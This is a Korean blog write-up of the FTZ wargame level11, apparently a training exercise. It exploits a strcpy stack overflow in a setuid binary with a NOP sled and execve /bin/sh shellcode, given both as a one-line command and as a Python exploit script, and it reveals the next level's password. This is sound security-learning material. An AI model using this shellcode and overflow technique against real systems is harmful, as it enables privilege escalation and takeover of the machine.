Wargame/FTZ

[FTZ]level11

D4tai1 2019. 9. 7.

시작이 반이고..?

 

level1~level10까지 절반했으면?

 

끝나야 하는건데..

 

level11..

 

시작해 볼까요?ㅎㅎ

 

level11..

[그림1] hint 파일 확인

 

소스를 보면

256byte 배열을 선언한 후

setreuid()를 이용해 다음레벨의 권한으로 설정합니다.

 

이후

strcpy()함수가

main함수에서 인자를 입력받아서 배열에 저장할 때

복사할 문자열의 길이를 검증하지 않는 점에서

bof 취약점이 발생할 것으로 보입니다.

 

엇?

뒤에 보니 printf()도 포맷스트링과 인자를 사용하지 않고

직접 변수를 넣었네요?

 

이 경우에

Format String Bug 취약점이 발생합니다.

 

 

Buffer Overflow 

str이 스택 내에 있기 때문에

아마도 스택오버플로우가 되겠네요.

 

[그림2] char str[256];

우선 main+3 주소를 보면

배열의 크기는 0x100이지만 

공간은 0x108만큼 할당을 했습니다.

 

아마 8byte는 더미겠죠?

 

실행을 시켜보면

[그림3] SetUID가 걸려있어 작동이 안되는 모습

SetUID가 걸려있어서 정상적으로 작동이 되지 않으므로

/tmp 디렉터리에 복사해 줍니다.

 

cp에 -a는 권한까지 전부복사한다는 말입니다.

 

 

 r $(python -c 'print "A"*264+"BBBB"') 로

실행을 시켜줍니다.

[그림4] breakpoint 후 실행화면

이 정보를 가지고 그림을 그려볼까요?

 

[그림5] esp = 0xbfffe470, ebp = 0xbfffe578

 

[그림6] strcpy 실행 후 복사된 주소 확인

main+53주소까지 strcpy에 대한 설명이니

main+56에 breakpoint를 걸고 

continue 합니다.

 

이 때 스택포인터는 str배열의 시작주소를 

가리키고 있으므로

확인해봅시다.

 

[그림7] 복사된 메모리 확인

[그림5]에서 열심히 그린 그림을 보면

0xbfffe578은 SFP의 주소이고,

0xbfffe57c는 RET의 주소네요?

 

 

그렇다면

안전하게 NOP Sled 기법을 이용해서

shellcode를 삽입하고

str의 시작주소를 가리키면?

 

shell을 얻을 수 있을 것으로 보입니다.

 

NOP Sled란?

NOP를 넣어주면 프로그램이 아무일도 하지않고 다음명령어로 넘어갑니다.

만약 계속 NOP명령어를 넣는다면 계속 아무 것도 하지 않겠죠?

그러다가 shellcode를 만나면 shellcode를 실행합니다.

먼저 페이로드로 넣을 shellcode를 만들어 볼까요?

 

[그림8] shellcode 제작

vi /tmp/shellcode.s 로 제작했습니다.

[그림9] as -o shellcode shellcode.s

shellcode를 바이너리로 제작하고

objdump를 이용해 디스어셈블 합니다.

빨간 네모에 있는 부분을 긁습니다.

 

나중에 시간이 된다면 shellcode 추출기를

만드는 것도 좋을 듯 싶네요.

 

[그림10] shellcode 테스트

 "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

objdump로 얻은 shellcode를 c언어에서 실행해 줍니다.

 

요약하면

파라미터와 반환값이 존재하지 않는 함수포인터타입의

shellcode함수에 아규먼트를 넣지 않고 실행합니다.

[그림11] shellcode가 정상실행됨을 확인

이제 정상적인 shellcode를 넣어볼까요?

 

그 전에 

생각을 해봅시다.

 

str[256] + dummy[8] + SFP[4] + RET[4]

이렇게 되겠네요.

 

그래서

nop[100] + shellcode[25] + nop[131] + nop[8] + nop[4] + str의 주소[4]

이렇게 exploit을 작성해보려고 합니다.

 

[그림12] exploit 작성

공격코드

./attackme $(python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e

\x89\xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'+'\x90'*143+'\x70\xe5\xff\xbf'")

 

그러나 한 번에 성공하지 못하고 여러번 시도 끝에 성공한 이유는..

ASLR(Address space layout randomization)라는

주소공간의 레이아웃을 랜덤하게 변경하는 메모리보호기법이 걸려있어서..

주소가 맞아 떨어질 때 shell이 떳죠..

 

공격코드는 스크립트로 짜야 제 맛이죠?

import os
import struct

p32 = lambda x:struct.pack('<L', x)
# struct.pack의 '<'는 리틀엔디안을 말하고, 'L'은 unsigned long을 의미합니다.
# x는 정렬할 int형 정수를 넣어주면 됩니다.

target = '/home/level11/attackme'
# 공격대상

shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'

ret_addr = 0xbfffe570
# 변경할 return address

payload = '\x90'*100
payload += shellcode
payload += '\x90'*143

payload += p32(ret_addr)

pid = os.fork()
# os.fork()는 부모프로세스와 동일한 자식프로세스를 새로운 메모리공간에 복제합니다.
# 각각 독립적이고 기능도 각각 수행(병렬처리)합니다.
# 자식프로세스일 경우 0을 반환하고
# 부모프로세스일 경우 0이상의 값을 반환합니다.

if pid == 0:
        os.execv(target, (target, payload))
		# target을 실행 (argv[0], argv[1], ...)

else:
        os.waitpid(pid, 0)
		# 특정 자식프로세스가 종료될 때까지 대기합니다.

 

[그림12] 스크립트를 이용해서 공격

 

[그림13] clear

 Level12 Password is "it is like this".

 

 

'Wargame > FTZ' 카테고리의 다른 글

[FTZ]level13  (0) 2019.09.07
[FTZ]level12  (0) 2019.09.07
[FTZ]level10  (0) 2019.09.05
[FTZ]level9  (0) 2019.09.05
[FTZ]level8  (0) 2019.09.05

댓글